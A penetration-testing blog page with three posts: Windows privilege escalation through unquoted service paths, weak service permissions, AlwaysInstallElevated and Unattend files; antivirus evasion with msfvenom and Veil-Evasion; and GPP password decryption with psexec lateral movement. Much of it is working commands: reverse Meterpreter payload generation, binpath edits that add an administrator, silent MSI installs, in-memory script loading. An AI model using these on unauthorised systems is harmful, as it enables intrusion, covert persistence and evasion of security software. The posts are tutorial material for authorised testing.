Adventures In Pentesting

Common Windows Privilege Escalation Vectors

Imagine this scenario:  You’ve gotten a Meterpreter session on a machine (HIGH FIVE!), and you opt for running getsystem in an attempt to escalate your privileges… but what that proves unsuccessful?  Should you throw in the towel?

Only if you’re a quitter… but you’re not, are you?  You’re a champion!!!  🙂

In this post I will walk us through common privilege escalation techniques on Windows, demonstrating how to “manually” accomplish each task as well as talk about any related Metasploit modules.  While most techniques are easier to exploit when escalating from Local Administrator to SYSTEM, improperly configured machines can certainly allow escalation from unprivileged accounts in the right circumstances.

Note:  In this post, we will focus on escalation techniques that do not rely on kernel exploits such as KiTrap0d (which just so happens to be one of four methods attempted by Meterpreter’s getsystem).

Trusted Service Paths

This vulnerability deals with how Windows interprets spaces in a file path for a service binary.  Given that these services often run as SYSTEM, there is an opportunity to escalate our privileges if we can exploit this behavior.   For example, consider the following file path:

C:\Program Files\Some Folder\Service.exe

For each space in the above file path, Windows will attempt to look for and execute programs with a name that matches the word in front of space.  The operating system will try all possibilities throughout the entire length of the file path until it finds a match.  Using the example above, Windows would try to locate and execute programs in the following order:

C:\Program Files\Some.exe
C:\Program Files\Some Folder\Service.exe

Note:  This behavior happens when a developer fails to enclose the file path in quotes.  File paths that are properly quoted are treated as absolute and therefore mitigate this vulnerability.  As a result, you may see this vulnerability referred to as “Unquoted Service Paths.”

If we were to drop a properly-named malicious executable in an affected folder, upon a restart of the service, we could have our malicious program run as SYSTEM (in a majority of cases).  However, prior to dropping an executable, we would have to ensure that we had the necessary privileges to the target folder (organizations with least privilege properly implemented would prevent us from dropping an executable at the root of the drive).  Let’s go ahead and step through the process of identifying and exploiting this vulnerability…

To start, we can utilize the following one-line Windows Management Instrumentation (WMI) query, written by Danial Compton (@commonexploits), to list all unquoted service paths (minus built-in Windows services) on our compromised machine, GREED:

wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """

As you can see, we have a hit!  The path for PFNet’s service binary is unquoted and contains spaces.  If the stars align, we will also have the necessary folder permissions.  Assuming we’ve already checked our permissions on the root of the drive, let’s use the built-in Windows tool, Integrity Control Access Control Lists (icacls), to view the permissions of the other affected folder in the path, Privacyware:

icacls "C:\Program Files (x86)\Privacyware"

Notice the first line: BUILTIN\Users:(OI)(CI)(M), which lists the permissions for unprivileged users. The (M) stands for Modify, which grants us, as an unprivileged user, the ability to read, write and delete files and subfolders within this folder.  WHAT LUCK!  We are now free to create and drop a malicious executable called Privatefirewall.exe… let’s begin!

Note: We would be able to accomplish the same task if we had Write (W) permissions to the Privacyware folder.  For a more information on Windows permissions, check out the following MSDN link: File and Folder Permissions.

When creating an executable with MSFVenom, you may wish to have your payload simply add a user to the Local Administrators group (windows/adduser) or send you a reverse Meterpreter shell running as SYSTEM (as demonstrated below).  Other options are certainly possible!

msfvenom -p windows/meterpreter/reverse_https -e x86/shikata_ga_nai LHOST= LPORT=443 -f exe -o Privatefirewall.exe

Now that our malicious executable is in place, let’s try to stop and then restart the PFNet service in order to kick off our shell.  To do this, we can utilize the built-in Service Control (sc) tool:

sc stop PFNet
sc start PFNet

LAME!  As you can see above, while we have Modify permissions for certain folders within the service path, we don’t actually have permissions to interact with the PFNet service itself.  In this scenario, we can wait for someone to restart the GREED machine or force a restart ourselves (stealthy the latter is not).

Upon a restart of GREED, Windows locates and executes our Privatefirewall binary, sending us a shell with SYSTEM privileges.  The world (or, at least, GREED) is all ours at this point!

Metasploit Module:  exploit/windows/local/trusted_service_path

This module only requires that you link it to an existing Meterpreter session before running:

A review of the source code reveals that the module uses some regular expression magic to filter out any paths that are quoted or have no spaces in the path to create a list of vulnerable services.  The module then attempts to exploit the first vulnerable service on the list by dropping a malicious executable into the affected folder.  The vulnerable service is then restarted, and afterwards, the module takes care of removing the malicious executable.

Note:  I didn’t see anywhere in the module’s code that a check is performed as to whether we have appropriate access to the target directory prior to attempting to drop the executable.  This seems a little odd to me…

Vulnerable Services

When discussing exploitation of Vulnerable Services, there are two objects one can be referring to:

  1. Service Binaries
  2. Windows Services

The former is very similar to what we did with Trusted Service Paths.  Whereas Trusted Service Paths exploits odd Windows file path interpretation in combination with folder permissions along the service path, Vulnerable Service Executables takes advantage of file/folder permissions pertaining to the actual executable itself.  If the correct permissions are in place, we can simply replace the service executable with a malicious one of our own. Using Privacy Firewall as an example, we’d place an executable named pfsvc.exe into the “Privatefirewall 7.0” folder.  VIOLA!

The latter refers to the actual Windows Service and the ability to modify it’s properties. These Services run in the background and are controlled by the Operating System through the Service Control Manager (SCM), which issues commands to and receives updates from all Windows Services.  If we can modify a Service’s binary path (binpath) property, upon a restart of the service, we can have the Service issue a command as SYSTEM on our behalf.  Let’s take a look…

The easiest way to determine which Windows Services have vulnerable privileges is to utilize the AccessChk tool, which is part of the SysInternals Suite.  This group of tools was written for Microsoft by Mark Russinovich to allow for advanced querying, managing and troubleshooting of systems and applications.  While it’s always a good idea to limit the amount of items that you allow to touch disk during a pentesting engagement due to risk of anti-virus detection (among other concerns), since AccessChk is an official and well-known Microsoft tool, the chances of flagging any protective mechanisms on the machine are slim.

Once we have AccessChk downloaded on our target machine, GREED, we can run the following command to determine which Services can be modified by any authenticated user (regardless of privilege level):

accesschk.exe -uwcqv "Authenticated Users" * /accepteula

Well, what do we have here?  PFNet shows it’s face once more!  SERVICE_ALL_ACCESSmeans we have full control over modifying the properties of the PFNet Service.  In most scenarios an unprivileged account should not have this type of control over a Windows Service, and often times these types of vulnerabilities occur due to misconfiguration by an Administrator or even the third-party developer (believe it or not, Windows XP actually shipped with several vulnerable built-in Services *facepalm*).

Note: The PFNet Service was intentionally modified to be insecure for the purposes of this particular demonstration.  This explains why we were unable to successfully control the service during the Trusted Service Paths walk-through.

Let’s utilize the Service Control (sc) utility to view the configuration properties of the PFNet Service:

sc qc PFNet

Notice that the BINARY_PATH_NAME value is set to point to pfsvc.exe, which we know is is the associated service binary.  Changing this value to a command to add a user and restarting the service will execute this command as SYSTEM (confirmed by validatingSERVICE_START_NAME is set to LocalSystem).  We can repeat the process one more time to add our new user to the Local Administrator group:

sc config PFNET binpath= "net user rottenadmin P@ssword123! /add"
sc stop PFNET
sc start PFNET
sc config PFNET binpath= "net localgroup Administrators rottenadmin /add"
sc stop PFNET
sc start PFNET

YIKES!  The sc utility throws an error each time we start the service with one of our malicious commands in the binpath.  This is because the net user and net localgroup commands do not point to the service binary and therefore the SCM cannot communicate with the service.  Never fear, however, as the error is thrown only afterissuing our malicious commands:

Note: I’d recommend setting the binpath property to point to the original service binary and having the service successfully started/running once you’ve completed your privilege escalation.  This will allow normal Service behavior to resume and reduce drawing unwanted attention.

Now that we have an established account on GREED with Administrator privileges, it would be rather simple to escalate to SYSTEM in the future if needed (bit o’ Mimikatz, anyone?).

Metasploit Module: exploit/windows/local/service_permissions

This module only requires that you link it to an existing Meterpreter session before running:

This module tries two methods in an attempt to escalate to SYSTEM.  First, if the Meterpreter session is currently running under Administrator privileges, the module will aim to create and run a new service.  If the current account privileges do not allow for service creation, the module will then seek out to determine if weak folder or file permissions will allow for hijacking existing services.

When creating new services or hijacking existing ones, the module creates an executable, which has a randomly-generated filename as well as installation folder path.  Enabling theAGGRESSIVE option on this module will exploit every vulnerable service on the target host.  With the option disabled, the module stops at the first successful escalation attempt.


AlwaysInstallElevated is a setting that allows non-privileged users the ability to run Microsoft Windows Installer Package Files (MSI) with elevated (SYSTEM) permissions. However, granting users this ability is a security concern because it is too easy to abuse this privilege.   For this to occur, there are two registry entries that have to be set to the value of “1” on the machine:



The easiest way to check the values of these two registry entries is to utilize the built-in command line tool, reg query:

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Note:  If you happen to get an error message similar to: The system was unable to find the specified registry key or value, it may be that a Group Policy setting for AlwaysInstallElevated was never defined, and therefore an associated registry entry doesn’t exist.

Now that we know AlwaysInstallElevated is enabled for both the local machine and the current user, we can proceed to utilize MSFVenom to generate an MSI file that, when executed on the victim machine, will add a user to the Local Administrators group:

msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o rotten.msi

Once you have our newly created MSI file loaded on the victim, we can leverage a command-line tool within Windows, Msiexec, to covertly (in the background) run the installation:

msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\rotten.msi

The properties of the switches utilized in the above Msiexec command are below:

/quiet = Suppress any messages to the user during installation
/qn = No GUI
/i = Regular (vs. administrative) installation

Once run, we can check to validate that our account was created and added to the Local Administrator Group:

Note: MSI files created with MSFVenom as well as with the always_install_elevated module discussed below, will fail during installation.  This behavior is intentional and meant to prevent the installation being registered with the operating system.

Metasploit Module:  exploit/windows/local/always_install_elevated

As you can see below, this module simply requires that you link it to an existing session prior to running:

There is an advanced setting, called QUIET, that you’ll want to enable in most scenarios. Turning on QUIET acts the same as utilizing the /quiet switch as part of a Msiexec command.  This ensures that all messages to the user are suppressed, keeping our activities covert.

The module creates an MSI file with a randomly-generated filename and takes care of all cleanup after deployment.

Unattended Installs

Unattended Installs allow for the deployment of Windows with little-to-no active involvement from an administrator.  This solution is ideal in larger organizations where it would be too labor and time-intensive to perform wide-scale deployments manually.  If administrators fail to clean up after this process, an EXtensible Markup Language (XML) file called Unattend is left on the local system.  This file contains all the configuration settings that were set during the installation process, some of which can include the configuration of local accounts, to include Administrator accounts!

While it’s a good idea to search the entire drive, Unattend files are likely to be found within the following folders:


Note: In addition to Unattend.xml files, be on the lookout for sysprep.xml and sysprep.inf files on the file system.  These files can also contain credential information utilizing during deployment of the operating system, allowing us to escalate privileges.  

Once you’ve located an Unattend file, open it up and search for the <UserAccounts> tag.  This section will define the settings for any local accounts (and sometimes even Domain accounts):

            <Description>Local Administrator</Description>

In the snippet of the sample Unattend file above, you can see a local account being created and added to the Administrators group.  The administrator chose not to have the password stored in plaintext; however, it is merely obfuscated with Base64.  As seen below, we can trivially decode it in Kali with the following:

echo "UEBzc3dvcmQxMjMhUGFzc3dvcmQ=" | base64 -d

So, our password is “P@ssword123!Password”?  Not quite…  Microsoft appends “Password” to all passwords within Unattend files before encoding them; therefore, our Local Administrator password is in fact just “P@ssword123!”.

Note:  Under the <UserAccounts> section, you may also see<AdministratorPassword> tags, which are another way to configure the Local Administrator account.

Metasploit Module:  post/windows/gather/enum_unattend

This module is relatively straightforward.  The only action is to assign it to the active Meterpreter session we are interested in:

After a review of the source code, it appears that this module will only search for Unattend.xml files, and therefore, may miss stored credentials in related files such as syspref.xml and syspref.inf.  On the positive side, this module will search the entire drive in an attempt to located Unattend files.

Group Policy Preferences (GPP)

Please refer to my August 2015 blog post for a detailed walkthrough of exploiting GPP for privilege escalation:  What You Know Bout GPP???.

!!! Important Note Regarding Anti-Virus !!!

During my testing, MSI and EXE binaries generated by MSFVenom as well as Metasploit Modules were flagged by some Anti-Virus (a/v) software.  This is because the executable templates utilized by Metasploit are well-known to a/v vendors.  For more information on why templates are flagged and how to evade detection, please see my September 2015 blog post:  A/V Ain’t Got Nothing On Me!

Utilizing an obfuscation tool such as Veil-Evasion or creating your own executable by “compiling” PowerShell scripts (to add a user to the Administrators group, for example) stand a much better chance of bypassing any deployed a/v solution.  Within Metasploit, modules offer an advanced option to substitute custom EXE and MSI binaries.  Just be sure to set EXE::Custom or MSI::Custom to point to your binary prior to executing the module.

Additional Resources

Windows Privilege Escalation Fundamentals
This is an amazing resource put together by Ruben Boonen (@FuzzySec) and was indispensable during my preparation for the Offensive Security Certified Professional exam.  Ruben touches on escalation techniques not covered in my post, such as searching the registry for credentials as well as exploiting scheduled tasks.  Most definitely worth the read…

PowerUp is a PowerShell tool written by Will Schroeder (@harmj0y) that will query a victim machine in order to identify what privilege escalation vectors are present.  With most of the vectors, if the machine is vulnerable, you can then utilize PowerUp for exploitation.  Originally written in 2014 as a standalone tool, it has now been integrated into Empire, a post-exploitation, cryptographically-secure PowerShell agent.

Posted in Privilege Escalation, Windows | 9 Comments

A/V Ain’t Got Nothing On Me!

Anti-Virus Vendors vs. Penetration Testers

While Metasploit is a great framework for conducting penetration tests, it’s popularity hasn’t gone unnoticed by anti-virus (a/v) vendors.  Standard Metasploit payload executables started getting flagged by a/v products in 2009 and now are picked up by a majority of a/v products out on the market.  If you can’t get your payload past your clients’s a/v software, you just might find yourself dead in the water before you’ve even begun.

The problem is that professional malware writers, organized crime, and nation state actors have no problem breezing past a/v software, successfully bypassing these solutions for years.  We, as penetration testers, are finding ourselves getting flagged because we are utilizing popular tools that are well-known to a/v vendors.  In this post, we will explore the topic of a/v evasion.

Know Your Enemy:  How Does Anti-Virus Software Work?

While specific detection mechanisms vary from vendor to vendor and are generally kept close to the chest, at a high-level, there are two main methods utilized by a/v software:

Signature-based detection is the older and most common method of detection.  A/v software maintains a large database of known malicious patterns and will look for any matches against the software being analyzed.  This method is relatively quick and doesn’t put a lot of stress on the hardware.  Additionally, a/v vendors can easily deploy new signatures to the database by simply adding new templates based on quick and dirty analysis of identified malicious software.  However, while being easy for vendors to implement and maintain, it’s also relatively easy to bypass due to its reliance on static entries.

Heuristic-based detection is often utilized in combination with signature-based detection.  The a/v software analyzes the behavior of software to determine whether its performing malicious activities.  This is commonly achieved by sandboxing a program for a period of time to analyze its actions (such as writing to memory in a specific manner or immediately opening a channel and attempting to establish an external connection) for questionable behavior.  This method can catch malicious programs that did not match against any known a/v signatures; however, it comes at the cost of performance and therefore vendors often have to compromise between security and usability when implementing this heuristic analysis.

In addition to these two methods, a/v software may utilize some sort of reputation logic that would allow for known “safe” programs (signed by known developers, match a known hash, etc.) to bypass or undergo less extensive detection procedures (such as being sandboxed for a shorter period of time).  This is an attempt by a/v vendors to reduce impact to the system and provide a better experience for the customer.

Lab Setup

For the demonstrations in this post, we will have two Windows 7 lab machines, ENVY and GREED, loaded with a/v software.  On GREED,  Microsoft Security Essentials (MSE) has been loaded up updated with the latest definitions.  On ENVY, Symantec Endpoint Protection (SEP) 12.1 has been installed and fully updated.  I’ve chosen to install MSE because of its popularity.  Microsoft currently holds 19.4% of the antivirus market share, a close second behind the industry leader, Avast.  While Symantec only holds 7.1% of the market share, I’ve selected it because I’ve run up against SEP on several engagements and spent precious time trying to bypass this particular software.  So… with Symantec it’s personal!  😉  In the graph below you can see the breakdown of the a/v vendor market share:

Note: I want to quickly point out that it pays to do your research ahead of pentesting engagements to determine what a/v product is deployed in the environment.  This allows you to spend your time and effort dedicated to bypassing what software you are actually going to face ahead of the mission.  Don’t make the mistake I did and waste precious engagement time because you weren’t prepared!

Generating Payloads With MSFVenom

This post assumes the reader has a basic familiarity with MSFVenom.  If needed, check out the Metasploit Unleashed post on it here.

For our first attempt to bypass a/v, we are going to generate a standard Metasploit executable utilizing MSFVenom that will spawn a reverse meterpreter shell:

msfvenom -p windows/meterpreter/reverse_https -e x86/shikata_ga_nai LHOST= LPORT=443 -f exe -o standard.exe

Let’s deploy this executable on the GREED machine and see if gets by MSE…

CAUGHT!  As you can see, MSE has flagged this exploitable as malicious.  Why is this?  While it can be difficult to determine the exact element that a particular a/v software has flagged as malicious, it is well-known in the pentesting community that a/v vendors have written signatures for the standard Metasploit executable templates.  These templates are the “containers” that shellcode generated by the encoder is inserted into in order to create an executable… and these templates are static.  What this means is that even if your shellcode wasn’t detected as malicious by a/v software, the template itself would most likely be flagged, regardless.  This is a prime example of a/v vendors looking for a quick-and-dirty way to flag malicious files.

So, now that we have witnessed that built-in Metasploit templates are an issue, let’s utilize msfvenom to inject reverse meterpreter shellcode into an existing executable, Wordpad, and use that common Windows program as our new template:

msfvenom -p windows/meterpreter/reverse_https -e x86/shikata_ga_nai LHOST= LPORT=443 -x wordpad.exe -k -f exe -o wordpad1.exe

Downloading and running this program on GREED, you can see below that Wordpad’s functionality is still intact (courtesy of the -k switch) and MSE has not flagged the executable as malicious.  We received a Meterpreter session back and are able to successfully interact with it.  SCORE!

Over on the ENVY machine, things aren’t quite as simple with SEP.  Running Wordpad results in the program throwing an error saying that it can’t open a new document.

Despite the error, SEP doesn’t seem to log the program’s network activity as malicious:

Our Meterpreter session is established; however, it is far from stable and closes shortly after being established (or when the user closes out the wordpad1 error message… whichever comes first).  While I can’t be sure, I suspect that SEP has sandboxed our application for behavior analysis.  This may be restricting our program’s ability to communicate.  That being said, if you are super quick with a keyboard, it might be possible to migrate to another process and get a stable connection, followed by running thegetsystem and killav commands within Meterpreter.  I think we can agree that this scenario is far from ideal even if it appears that we successfully bypassed signature detection.  Let’s look at other means of bypassing a/v…

Note:  You may see references to utilizing polymorphic encoders (specifically shikata_ga_nai) within Metasploit as a viable method for evading detection.  While these types of encoders did have an unintended side-effect of bypassing a/v in the past, this often doesn’t hold true with modern detection software.  The primary purpose of encoders is to remove bad characters (x00, x0A, etc.) from shellcode that might cause undesirable results in a program.

Nothing To See Here:  Under The Radar With Veil-Evasion 

Veil-Evasion is part of a suite of penetration testing tools known collectively as the Veil Framework.  The Framework’s theme is focused on stealth and is the collaborative effort of Chris Truncer (@ChrisTruncer), Will Schroeder (@harmj0y), and Mike Wright (@TheMightyShiv).  While all the tools in Veil are awesome and should be explored, Veil-Evasion is the bread-and-butter program in the framework and focuses on generating a/v-evading executables.  In Kali 2.0, you can install Veil-Evasion via the Kali repository or  through git cloning:

apt-get install veil-evasion
git clone

The authors of Veil-Evasion seek to enable penetration testers the ability to bypass a/v software as easily as professional malware does (even if the methods utilized are not the same).  Tired of wasting time on engagements attempting to circumvent a/v instead of providing value to the client, the Veil guys looked to develop evasion methods into an organized program.

Veil-Evasion utilizes a mix of following techniques in an attempt to evade detection:

  • Randomization of variable names and methods
  • Encryption of source
  • Native stagers (shellcode-less)
  • Method nops (randomizing program’s call tree via dummy methods)
  • Obfuscated loaders

Let’s go ahead and fire up Veil-Evasion…

As of September 2015, Veil-Evasion contains over 40 payloads to choose from in a variety of languages:

Let’s begin with the Python Reverse HTTPS Meterpreter payload, since Python was the first supported language by Veil-Evasion.  Simply type use 29 or use python/meterpreter/rev_https.  As you can see below, I’ve set the payload option to utilize Pyherion, which will encrypt the entire payload string, to include the decrypter stub itself (decrypter stubs are often left static, which is one reason polymorphic encoders such as shikata_ga_nai are no longer effective at a/v evasion).

Once I have my options set, I simple type generate and Veil-Evasion proceeds to compile my executable (which I’ve cleverly named notepad).  In addition to creating my .exe, you’ll notice below that a payload file (raw python for your code-reviewing pleasure) and a handler file (.rc) have also been generated and dumped under /var/lib/veil-evasion/output/.

The handler file is convenient, as running it with the following syntax will fire up Metasploit and set up all the appropriate handler options on your behalf:

msfconsole -r /var/lib/veil-evasion/output/handlers/notepad_handler.rc

Now that we’ve generated our executable and our handler is ready to go, let’s see how it fares against MSE:

SUCCESS!  We received our reverse shell and you can see that our current process is in fact tied to our notepad executable when (verified by running getpid and ps commands from within Meterpreter).

Let’s move on to the ENVY machine and see how notepad.exe holds up to scrutiny by SEP:

CAUGHT!  Again, while it’s hard to pinpoint exactly what a/v software triggers on, because the Python payloads in Veil have been out for a while, it’s possible that Symantec has updated their detection methods to target the methods utilized by this payload.  That being said, SEP did not sound the alarm until after the executable was run, therefore it may be the a/v’s heuristic engine that actually caught us.  Let’s configure a PowerShell Reverse HTTPS Meterpreter payload, use 21 or use powershell/meterpreter/rev_https:

Notice below that instead of generating an .exe file, Veil-Evasion’s PowerShell payloads create a batch (.bat) file.  The batch file acts as a wrapper of sorts for the PowerShell commands and shellcode.

Let’s go ahead and run this script after deploying our handler and see how SEP fares:

GREAT SUCCESS!  Our PowerShell payload has connected to our handler and opened a Meterpreter session!  However, presenting a user with a batch file could possibly draw suspicion.  A better (read: stealthier) option for us might be to extract the PowerShell script and shellcode from the batch file wrapper and throw it into a Java applet or Microsoft Office macro as part of a phishing campaign.  These techniques will be explored in more detail in a future post.  Until then, happy evading!

Veil Resources

Official Website

Official Github

BSides DC 2014 – Adventures In Asymmetric Warfare: Fighting The AV Vendors

Posted in Anti Virus | 5 Comments

What You Know Bout GPP???

Privilege Escalation Via Group Policy Preferences (GPP)

While this is not a new topic in the penetration testing world by any means [Chris Gates (@carnal0wnage) and others were speaking about this way back in 2012], it is still prevalent across many networks today.  It’s important enough to talk about because it is “low-hanging fruit” for pentesters (and hackers) and often one of the first things checked for after an initial foothold into a network, as it can quickly allow for escalation to Local Administrator and lateral movement.  At that point, it often is just a matter of time before complete Domain compromise.

What is GPP?

GPP was introduced with the release of Server 2008 and allows for configuration of Domain-attached machines via group policy.  Domain machines periodically reach out and authenticate to the Domain Controller utilizing the Domain credentials of the logged-in user (these can be, and often are, unprivileged accounts) and pull down policies.  These policies can make all sorts of configuration changes to machines, to include:

  • Start Menu Items
  • Network Drive Mapping
  • Registry Settings
  • Printer Configuration
  • etc…

The GPP Vulnerability

However, the most interesting (and dangerous) feature of GPP is the ability to set passwords for the Local Administrator account.  Group Policies for account management are stored on the Domain Controller in “Groups.xml” files buried in the SYSVOL folder. For example, below is a screenshot from my ENVY machine, where I’ve browsed to the SYSVOL folder on my DANTE Domain Controller (again, authenticating with my unprivileged Domain Credentials).  Please note that while there are only a couple “Groups.xml” in this scenario, a typical corporate server will most likely have many files, corresponding to a large variety of account configuration policies implemented over the years.

While some of these files may only contain something as simple as a configuration to rename an existing account, what we are interested in as pentesters are files that contain the “cpassword” field.  These are the policies that will actually set the password for the contained account.  Below is a screenshot of one such file from the DANTE Domain Controller:

As you can see above, the value of the “cpassword” field appears to be jibberish.  This is because Microsoft encrypts it with AES (using a 32-bit key… yikes!).  The news gets worse upon visiting the MSDN site, which reveals the key utilized with AES is static AND publicly available:

Microsoft MSDN: AES Key

What this means for us as pentesters is that if we have access to ANY Domain account, we can pull down the “cpassword” values for accounts stored on the Domain Controller and simply decrypt the plaintext password.  Given that these policies are set in order to manage multiple machines in a Domain, we can often move laterally, authenticating with Local Administrator privileges to a number of other machines.  This freedom to move around the network can open all sorts of opportunities for further exploitation.  Let’s take a look…

Exploiting The GPP Vulnerability

We are going to start with an “assumed breach” scenario, in which I currently have a shell on a Domain computer (for the sake of this demonstration, let’s say an ignorant Domain user Steve, who is logged onto the ENVY machine, has been successfully phished):

Now that I have a foothold on this Domain machine with the phished user’s Domain credentials, I also have read access to the “Groups.xml” files stored on the Domain Controller.  Utilizing my meterpreter session, I’m going to load a Metasploit module (post/windows/gather/credentials/gpp), which will easily retrieve any “cpassword” values stored and decrypt them utilizing the known AES key:

And there it is: the plaintext password for the Local Administrator account!  Another method of retrieving these credentials is by utilizing a PowerShell script written by Chris Campbell (@obscuresec).   The script can be found here:  Get-GPPPassword.

Let’s attempt to utilize this password to move laterally and authenticate to another Domain computer with these credentials.  While there are many tools to assist in moving laterally (and these will be covered in detail in a future post), for this example we are going to use the Metasploit psexec module (exploit/windows/smb/psexec), which will allow us to pass the compromised credentials and authenticate to another Domain machine.

BOOM!  We have successfully moved from our initial compromised machine, ENVY, to another Domain machine, GREED.  This can be done over and over for any machines that utilize the affected Group Policy and that have Server Message Block (SMB) services open, allowing us to move freely around the network, dumping more credentials and uncovering juicy information.

UPDATE:  On October 21, Will Schroeder (@harmj0y) released an update to PowerView, a PowerShell-based situational awareness tool, to allow the enumeration of Domain machines that utilize a particular Group Policy.  Used in conjunction with the output results from Chris Campbell’s (@obscuresec) Get-GPPPassword script mentioned earlier in this post, it is trivial to determine which Domain machines utilize uncovered Administrator credentials, saving time and guesswork during engagements.  Let’s take a look…

Going back to our original “assumed breach” scenario mentioned at the beginning of this post, we currently have an active Meterpreter session on the ENVY machine.  We will need PowerShell to run our two scripts, Get-GPPPassword and PowerView.  Dropping into a shell from our current Meterpreter session and loading PowerShell will not work, as it is not an interactive session.  Instead, we will need to utilize the Metasploit module (windows/local/payload_inject) and configure it to use thewindows/powershell_reverse_tcp payload.  Tying this to our Meterpreter session on ENVY will result in us getting an interactive PowerShell session:

The windows/powershell_reverse_tcp payload takes care of Set-ExecutionPolicy -Bypass on our behalf, so there are no restrictions on the scripts we can run.  Utilizing PowerShell’s Invoke-Expression (IEX) cmdlet, we can load the locally-hosted Get-GPPPassword and PowerView scripts directly into memory on ENVY:

IEX(New-Object Net.WebClient).DownloadString("")
IEX(New-Object Net.WebClient).DownloadString("")

Now that both scripts are loaded, we are able to run any associated commands.  RunningGPPPassword within our PowerShell session with return any Administrator account information, as well as the associated Group Policy’s unique identifier (GUID):

The second GUID listed, {4C86DD57-4040-41CD-B163-58F208A26623}, is of interest to us as it sets the Local Administrator password.  We can now can run PowerView’s Get-NetOU command with the GUID argument to return all Organizational Unit(s) (OU) that are linked to the Group Policy.  Piping those results into the Get-NetComputercommand will list out all Domain machines tied to the OU(s):

Get-NetOU -GUID "{4C86DD57-4040-41CD-B163-58F208A26623}" | %{ Get-NetComputer -ADSPath $_ }

As we can see above, we now know that there are three Domain machines that will accept our compromised Administrator credentials.  Lateral movement made easy… WOOT!

Special thanks to Chris Campbell for taking the time to help me diagnose some script issues I ran into while creating the scenario for this update.

Remediation / Caveats

Microsoft finally got around to “patching” this vulnerability with MS14-025; however, merely applying the patch will not fix the issue.  This is because so many organizations utilize the GPP method for managing Local Administrator passwords that Microsoft didn’t want to negatively affect business operations for its customers.  Instead, the patch takes the following approach: current policies are restricted to  the”delete” operation only and the ability to deploy new policies has been removed.  This does nothing for any policies that are currently in place and sitting out on SYSVOL, however.  As a result, many organizations remain vulnerable.

Two PowerShell scripts are available for Microsoft to assist customers in moving away from GPP to set Local Administrator credentials and can be found here.  The first script, Get-SettingsWithCPassword.ps1, will clean up all instances of Groups.xml files that contain password information.  The second script, Invoke-PasswordRoll.ps1, is Microsoft’s new solution for Local Administrator account management.  Local passwords are randomly set and then stored in a password-protected CSV file.  The same script can be utilized to decrypt the password later.

While this new solution effectively breaks lateral movement with Local Administrator accounts (even if someone were to uncover the password for one machine’s account, it couldn’t be used to authenticate elsewhere), I can’t help but feel that Domain Administrators hate this solution.  The whole reason to use GPP to deploy a standardized password is to simplify administration of machines and many Domain Administrators may feel like their workload has increased with a very inelegant solution.

In my humble opinion, a better option would have been to allow for the creation of a unique AND strong (not 32-bit please!) encryption key for each Domain.  That being said, if a bunch of machines are set to the same Local Administrator password, all it would take is one compromised machine and subsequent credential dump to be right back in lateral movement heaven.

I’d love to hear your thoughts on the issue.  Is there a better way that allows for the appropriate balance of functionality and security?  Am I missing something?


Leave a Reply

Fill in your details below or click an icon to log in: Logo

You are commenting using your account. Log Out /  Change )

Google+ photo

You are commenting using your Google+ account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )


Connecting to %s